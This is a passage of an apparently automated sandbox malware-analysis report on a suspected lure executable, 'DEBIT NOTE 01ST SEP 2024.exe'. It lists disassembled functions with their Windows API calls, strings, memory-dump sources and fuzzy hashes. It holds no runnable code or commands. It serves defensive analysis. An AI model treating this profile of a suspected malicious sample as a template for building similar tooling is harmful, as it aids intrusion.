                                          • Instruction Fuzzy Hash: B55192719002099BDB11DF69D888BAF7BB4BB44319F14853EEC15DB282D3B8984CCB66
                                          Function 004352C2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 114COMMON
                                          Download Yara Rule
                                          APIs
                                          • SafeArrayAccessData.OLEAUT32(?,?), ref: 004352E6
                                          • VariantClear.OLEAUT32(?), ref: 00435320
                                          • SafeArrayUnaccessData.OLEAUT32(?), ref: 00435340
                                          • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00435373
                                          • VariantClear.OLEAUT32(?), ref: 004353B3
                                          • SafeArrayUnaccessData.OLEAUT32(?), ref: 004353F6
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ArrayDataSafeVariant$ClearUnaccess$AccessChangeType
                                          • String ID: crts
                                          • API String ID: 586820018-3724388283
                                          • Opcode ID: 545d374044e3945891266c858ffc3b068b1e43ab9a1ba77500f3c10b34ab4cdf
                                          • Instruction ID: e94501f388d0d73ced66c0aa9444ce68fa972137b9c89e1913ae9ea64c05cbbc
                                          • Opcode Fuzzy Hash: 545d374044e3945891266c858ffc3b068b1e43ab9a1ba77500f3c10b34ab4cdf
                                          • Instruction Fuzzy Hash: DE418BB5200208EBDB10CF1CD884A9AB7B5FF9C314F20852AEE49CB351E775E911CBA4
                                          Function 0044BBD2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 105filestringCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00410120: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,0040F545,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,004A90E8,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,?,0040F545), ref: 0041013C
                                          • lstrcmpiW.KERNEL32(?,?), ref: 0044BC09
                                          • MoveFileW.KERNEL32(?,?), ref: 0044BC3F
                                          • _wcscat.LIBCMT ref: 0044BCAF
                                          • _wcslen.LIBCMT ref: 0044BCBB
                                          • _wcslen.LIBCMT ref: 0044BCD1
                                          • SHFileOperationW.SHELL32(?), ref: 0044BD17
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: File_wcslen$FullMoveNameOperationPath_wcscatlstrcmpi
                                          • String ID: \*.*
                                          • API String ID: 2326526234-1173974218
                                          • Opcode ID: dfa273c9728ae0aa44cf40aad3cddd2261aca17058b0337a789aafef13e29e40
                                          • Instruction ID: cfb238852dc788c6f4e4306d35388aa956c556a9525b71239849112dc74cb112
                                          • Opcode Fuzzy Hash: dfa273c9728ae0aa44cf40aad3cddd2261aca17058b0337a789aafef13e29e40
                                          • Instruction Fuzzy Hash: 5C3184B1800219AACF14EFB1DC85ADEB3B5AF48304F5095EEE90997211EB35D748CB98
                                          Function 004335CD Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00433244: _wcsncpy.LIBCMT ref: 0043325C
                                          • _wcslen.LIBCMT ref: 004335F2
                                          • GetFileAttributesW.KERNEL32(?), ref: 0043361C
                                          • GetLastError.KERNEL32 ref: 0043362B
                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 0043363F
                                          • _wcsrchr.LIBCMT ref: 00433666
                                            • Part of subcall function 004335CD: CreateDirectoryW.KERNEL32(?,00000000), ref: 004336A7
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
                                          • String ID: \
                                          • API String ID: 321622961-2967466578
                                          • Opcode ID: bb0dad1fe383a450cc5ca78da39c882eba2540a6c71c70dd25c8590f96c38e52
                                          • Instruction ID: 66c6ecc179b40ab72a0151a8d865592f5e80cbeaaa2383c239fb12261b929cf9
                                          • Opcode Fuzzy Hash: bb0dad1fe383a450cc5ca78da39c882eba2540a6c71c70dd25c8590f96c38e52
                                          • Instruction Fuzzy Hash: C72129719013146ADF30AF25AC06BEB73AC9B05715F10569AFD18C2241E6799A888BE9
                                          Function 0044C7DD Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 88COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __wcsnicmp
                                          • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                          • API String ID: 1038674560-2734436370
                                          • Opcode ID: 8f8f9edfa5db0492502b932a8328ea4ae50c7534afe07431ae24ccbcd5f30aff
                                          • Instruction ID: d05ed79ef8649e951018b8bbb1c2d61e3c33a7345c6b0b1fc41c187b8edaa79f
                                          • Opcode Fuzzy Hash: 8f8f9edfa5db0492502b932a8328ea4ae50c7534afe07431ae24ccbcd5f30aff
                                          • Instruction Fuzzy Hash: 1221003365151066E72176199C82FDBB3989FA5314F04442BFE049B242D26EF99A83E9
                                          Function 0041793C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048D148,00000008,00417A44,00000000,00000000,?,004115F6,?,00401BAC,?,?,?), ref: 0041794D
                                          • __lock.LIBCMT ref: 00417981
                                            • Part of subcall function 004182CB: __mtinitlocknum.LIBCMT ref: 004182E1
                                            • Part of subcall function 004182CB: __amsg_exit.LIBCMT ref: 004182ED
                                            • Part of subcall function 004182CB: EnterCriticalSection.KERNEL32(004115F6,004115F6,?,00417986,0000000D,?,004115F6,?,00401BAC,?,?,?), ref: 004182F5
                                          • InterlockedIncrement.KERNEL32(FF00482A), ref: 0041798E
                                          • __lock.LIBCMT ref: 004179A2
                                          • ___addlocaleref.LIBCMT ref: 004179C0
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
                                          • String ID: KERNEL32.DLL$pI
                                          • API String ID: 637971194-197072765
                                          • Opcode ID: de2ab6b473c2d5586c9f362b8c2f57dc22cd34abb7029a86a899895714b74b87
                                          • Instruction ID: a50d44c6e21ae10dfe2421e8c890a682036196f235240147777d58dc068d601e
                                          • Opcode Fuzzy Hash: de2ab6b473c2d5586c9f362b8c2f57dc22cd34abb7029a86a899895714b74b87
                                          • Instruction Fuzzy Hash: A401A171404B00EFD720AF66C90A78DBBF0AF50324F20890FE496536A1CBB8A684CB5D
                                          Function 0046822A Relevance: 12.3, APIs: 8, Instructions: 267COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove$_malloc
                                          • String ID:
                                          • API String ID: 1938898002-0
                                          • Opcode ID: ed671e0929b530e8a80a3994f14b14e6c4fa5d49d1ff8bec0f484948025a4d18
                                          • Instruction ID: bb51e0d14dcfee45c4d36839732496dc4400bff611838f67d83ec86e680bb9ef
                                          • Opcode Fuzzy Hash: ed671e0929b530e8a80a3994f14b14e6c4fa5d49d1ff8bec0f484948025a4d18
                                          • Instruction Fuzzy Hash: FC81CB726001195BDB00EF66DC42AFF7368EF84318F040A6FFD04A7282EE7D995587A9
                                          Function 0044B489 Relevance: 12.1, APIs: 8, Instructions: 102fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B4A7
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4DA
                                          • EnterCriticalSection.KERNEL32(?), ref: 0044B4F7
                                          • _memmove.LIBCMT ref: 0044B555
                                          • _memmove.LIBCMT ref: 0044B578
                                          • LeaveCriticalSection.KERNEL32(?), ref: 0044B587
                                          • ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 0044B5A3
                                          • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5B8
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterLeave_malloc
                                          • String ID:
                                          • API String ID: 2737351978-0
                                          • Opcode ID: c49c3180d4577c37a1564da55573a5370bada98f09f15d951758cfc7caeaac8d
                                          • Instruction ID: 70cbfa243a2dcbaabd352bc30cb9c3ad46017a318630e818b765f133545e4983
                                          • Opcode Fuzzy Hash: c49c3180d4577c37a1564da55573a5370bada98f09f15d951758cfc7caeaac8d
                                          • Instruction Fuzzy Hash: 4F41BC71900308EFDB20DF55D984EAFB7B8EF48704F10896EF54696650D7B4EA80CB58
                                          Function 00415214 Relevance: 12.1, APIs: 8, Instructions: 66threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • ___set_flsgetvalue.LIBCMT ref: 0041523A
                                          • __calloc_crt.LIBCMT ref: 00415246
                                          • __getptd.LIBCMT ref: 00415253
                                          • CreateThread.KERNEL32(00000000,?,004151BB,00000000,00000004,00000000), ref: 0041527A
                                          • ResumeThread.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0041528A
                                          • GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00415295
                                          • _free.LIBCMT ref: 0041529E
                                          • __dosmaperr.LIBCMT ref: 004152A9
                                            • Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
                                          • String ID:
                                          • API String ID: 3638380555-0
                                          • Opcode ID: 75aec11f1c25db1a83b42845bb08a83361ad021f560e0ff3c611ac6fdc7cb8ab
                                          • Instruction ID: 1ae632b5747f25178f06b1f704b10109f3b838f12a9538f44878b4cc3517b2ff
                                          • Opcode Fuzzy Hash: 75aec11f1c25db1a83b42845bb08a83361ad021f560e0ff3c611ac6fdc7cb8ab
                                          • Instruction Fuzzy Hash: 31110A33105B00ABD2102BB69C45ADB37A4DF85734B24065FF924862D1CA7C98814AAD
                                          Function 0046C84C Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 308COMMON
                                          Download Yara Rule
                                          APIs
                                          • VariantInit.OLEAUT32(?), ref: 0046C96E
                                            • Part of subcall function 00451B42: GetLastError.KERNEL32(?,?,00000000), ref: 00451BA0
                                            • Part of subcall function 00451B42: VariantCopy.OLEAUT32(?,?), ref: 00451BF8
                                            • Part of subcall function 00451B42: VariantCopy.OLEAUT32(-00000068,?), ref: 00451C0E
                                            • Part of subcall function 00451B42: VariantCopy.OLEAUT32(-00000088,?), ref: 00451C27
                                            • Part of subcall function 00451B42: VariantClear.OLEAUT32(-00000058), ref: 00451CA1
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Variant$Copy$ClearErrorInitLast
                                          • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                          • API String ID: 3207048006-625585964
                                          • Opcode ID: ca4782e3f1b8c357821c68e66e95b499971d8adc7301cf0feb6afda3dd37ffd4
                                          • Instruction ID: 684ba17e2c3ca727561f7970afa8535519679aefa5cdc663b381c32651820a10
                                          • Opcode Fuzzy Hash: ca4782e3f1b8c357821c68e66e95b499971d8adc7301cf0feb6afda3dd37ffd4
                                          • Instruction Fuzzy Hash: F6A19472600209ABDB10DF99DCC1EFEB3B9FB84714F10852EF604A7281E7B59D458BA5
                                          Function 00465489 Relevance: 10.8, APIs: 7, Instructions: 281networkmemoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • WSAStartup.WSOCK32(00000101,?), ref: 00465559
                                            • Part of subcall function 0045F645: WideCharToMultiByte.KERNEL32(00000000,00000000,5004C483,D29EE858,00000000,00000000,00000000,00000000,?,?,?,00467B75,?,00473BB8,00473BB8,?), ref: 0045F661
                                          • inet_addr.WSOCK32(?,00000000,?,?), ref: 0046559B
                                          • gethostbyname.WSOCK32(?), ref: 004655A6
                                          • GlobalAlloc.KERNEL32(00000040,00000040), ref: 0046561C
                                          • _memmove.LIBCMT ref: 004656CA
                                          • GlobalFree.KERNEL32(00000000), ref: 0046575C
                                          • WSACleanup.WSOCK32 ref: 00465762
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memmovegethostbynameinet_addr
                                          • String ID:
                                          • API String ID: 2945290962-0
                                          • Opcode ID: b73dd2c417b7ad13d51beda6076b83dea337e616a356c7a57e90c36d1df505c0
                                          • Instruction ID: 472bd1bc5547e678c188051989a3a6c7a671c7751f2ff3ad056c489052ad9926
                                          • Opcode Fuzzy Hash: b73dd2c417b7ad13d51beda6076b83dea337e616a356c7a57e90c36d1df505c0
                                          • Instruction Fuzzy Hash: CAA19E72604300AFD310EF65C981F5FB7E8AF88704F544A1EF64597291E778E905CB9A
                                          Function 004404E8 Relevance: 10.8, APIs: 7, Instructions: 271windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetSystemMetrics.USER32(0000000F), ref: 00440527
                                          • MoveWindow.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00440763
                                          • SendMessageW.USER32(?,00000142,00000000,0000FFFF), ref: 00440782
                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 004407A5
                                          • SendMessageW.USER32(?,00000469,?,00000000), ref: 004407DA
                                          • ShowWindow.USER32(?,00000000,?,00000469,?,00000000), ref: 004407FD
                                          • DefDlgProcW.USER32(?,00000005,?,?), ref: 00440817
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSendWindow$InvalidateMetricsMoveProcRectShowSystem
                                          • String ID:
                                          • API String ID: 1457242333-0
                                          • Opcode ID: d4bac657e1d3c25226f3662cee365975ebc34d7204b8b764d69e27e9e2fa035e
                                          • Instruction ID: 469fbb3f3db71b9324cb07d082b932f31bc4dcc79b85a5821822f518eef070f3
                                          • Opcode Fuzzy Hash: d4bac657e1d3c25226f3662cee365975ebc34d7204b8b764d69e27e9e2fa035e
                                          • Instruction Fuzzy Hash: 0BB19F71600619EFEB14CF68C984BAFBBF1FF48301F15851AEA5597280D738BA61CB54
                                          Function 0046B6AB Relevance: 10.8, APIs: 7, Instructions: 258registryCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B799
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ConnectRegistry_memmove_wcslen
                                          • String ID:
                                          • API String ID: 15295421-0
                                          • Opcode ID: af9aed33993baa0a6bbf415c0be9acaad95f35a4fb003459e4997ac6d107bcf3
                                          • Instruction ID: 8aea567fc0405534ed4901798b67d501f7e0ea7b8d3e81485b6dc33093e60a2a
                                          • Opcode Fuzzy Hash: af9aed33993baa0a6bbf415c0be9acaad95f35a4fb003459e4997ac6d107bcf3
                                          • Instruction Fuzzy Hash: 96A170B12043019FD710EF65CC85B1BB7E8EF85304F14892EF6859B291DB78E945CB9A
                                          Function 00467511 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 213COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                            • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                                          • _wcstok.LIBCMT ref: 004675B2
                                            • Part of subcall function 00413EB8: __getptd.LIBCMT ref: 00413EBE
                                          • _wcscpy.LIBCMT ref: 00467641
                                          • GetOpenFileNameW.COMDLG32(00000058), ref: 00467774
                                          • _wcslen.LIBCMT ref: 00467793
                                          • _wcslen.LIBCMT ref: 004677BD
                                            • Part of subcall function 00461465: _memmove.LIBCMT ref: 004614F8
                                          • GetSaveFileNameW.COMDLG32(00000058), ref: 00467807
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcslen$FileName_memmove$OpenSave__getptd_wcscpy_wcstok
                                          • String ID: X
                                          • API String ID: 780548581-3081909835
                                          • Opcode ID: 5a7296b1c5eaaf12ad4c2d2a839e078d9dce1648221bbe8eaefb4bf91c000afd
                                          • Instruction ID: 4d78316a312392ccd7929e5b9cc6f9f998d70627324fd0ae594e8e4bf7546d1d
                                          • Opcode Fuzzy Hash: 5a7296b1c5eaaf12ad4c2d2a839e078d9dce1648221bbe8eaefb4bf91c000afd
                                          • Instruction Fuzzy Hash: 1381A3315083008FD310EF65C985A5FB7E5AF84318F108A2FF599572A1EB78ED46CB9A
